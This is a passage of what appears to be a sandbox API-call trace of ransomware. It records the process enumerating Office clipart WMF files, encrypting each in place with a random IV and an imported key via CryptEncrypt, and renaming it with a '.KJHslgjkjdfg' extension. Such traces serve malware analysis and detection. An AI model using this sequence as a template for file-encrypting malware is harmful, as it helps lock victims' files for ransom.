lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0221.982] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0221.982] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0221.982] GetProcessHeap () returned 0x2ef0000 [0221.982] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0221.982] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0221.982] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0221.982] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0221.983] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0221.983] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0221.983] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0221.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0221.983] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0221.983] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0221.983] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0221.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.983] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1868, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1868, lpOverlapped=0x0) returned 1 [0221.995] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1870, dwBufLen=0x1870 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1870) returned 1 [0221.995] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.995] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1870, lpOverlapped=0x0) returned 1 [0221.995] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0221.995] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.995] SetEndOfFile (hFile=0x130) returned 1 [0221.998] GetProcessHeap () returned 0x2ef0000 [0221.998] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0221.998] GetProcessHeap () returned 0x2ef0000 [0221.998] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0221.998] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf.kjhslgjkjdfg")) returned 1 [0222.000] CloseHandle (hObject=0x130) returned 1 [0222.000] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb300a00, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb300a00, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03731_.WMF", cAlternateFileName="")) returned 1 [0222.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0222.001] GetProcessHeap () returned 0x2ef0000 [0222.001] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0222.001] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0222.001] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0222.001] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0222.004] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0222.004] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0222.004] GetProcessHeap () returned 0x2ef0000 [0222.004] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0222.004] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0222.004] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0222.004] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0222.004] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0222.005] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0222.005] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0222.005] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0222.005] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0222.005] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0222.005] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0222.005] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.005] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9fc, lpOverlapped=0x0) returned 1 [0222.005] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa00, dwBufLen=0xa00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa00) returned 1 [0222.005] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.005] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa00, lpOverlapped=0x0) returned 1 [0222.005] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0222.005] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.005] SetEndOfFile (hFile=0x130) returned 1 [0222.008] GetProcessHeap () returned 0x2ef0000 [0222.008] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0222.008] GetProcessHeap () returned 0x2ef0000 [0222.008] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0222.008] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf.kjhslgjkjdfg")) returned 1 [0222.009] CloseHandle (hObject=0x130) returned 1 [0222.010] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd176e300, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd176e300, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03795_.WMF", cAlternateFileName="")) returned 1 [0222.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0222.011] GetProcessHeap () returned 0x2ef0000 [0222.011] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0222.011] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0222.011] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0222.011] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0222.016] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0222.016] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0222.016] GetProcessHeap () returned 0x2ef0000 [0222.017] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0222.017] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0222.017] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0222.017] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0222.017] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0222.017] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0222.017] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0222.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0222.017] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0222.017] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0222.017] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0222.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.018] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x78a, lpOverlapped=0x0) returned 1 [0222.018] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x790, dwBufLen=0x790 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x790) returned 1 [0222.018] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.018] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x790, lpOverlapped=0x0) returned 1 [0222.018] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0222.018] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.018] SetEndOfFile (hFile=0x130) returned 1 [0222.021] GetProcessHeap () returned 0x2ef0000 [0222.021] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0222.021] GetProcessHeap () returned 0x2ef0000 [0222.021] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0222.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf.kjhslgjkjdfg")) returned 1 [0222.023] CloseHandle (hObject=0x130) returned 1 [0222.023] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14937f00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14937f00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x1020, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE04050_.WMF", cAlternateFileName="")) returned 1 [0222.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0222.024] GetProcessHeap () returned 0x2ef0000 [0222.024] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0222.024] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0222.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0222.024] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0222.025] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0222.025] GetProcessHeap () returned 0x2ef0000 [0222.025] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0222.025] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0222.025] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0222.025] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0222.047] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0222.047] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0222.047] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0222.047] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0222.047] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0222.047] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0222.048] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0222.048] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.048] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1020, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1020, lpOverlapped=0x0) returned 1 [0222.054] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1020, dwBufLen=0x1020 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1020) returned 1 [0222.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.054] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1020, lpOverlapped=0x0) returned 1 [0222.054] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0222.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.054] SetEndOfFile (hFile=0x130) returned 1 [0222.057] GetProcessHeap () returned 0x2ef0000 [0222.057] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0222.057] GetProcessHeap () returned 0x2ef0000 [0222.057] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0222.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf.kjhslgjkjdfg")) returned 1 [0222.290] CloseHandle (hObject=0x130) returned 1 [0222.290] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE05665_.WMF", cAlternateFileName="")) returned 1 [0222.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0222.292] GetProcessHeap () returned 0x2ef0000 [0222.292] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0222.292] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0222.292] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0222.293] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0224.465] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0224.465] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0224.465] GetProcessHeap () returned 0x2ef0000 [0224.465] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0224.465] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0224.465] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0224.465] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0224.466] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, 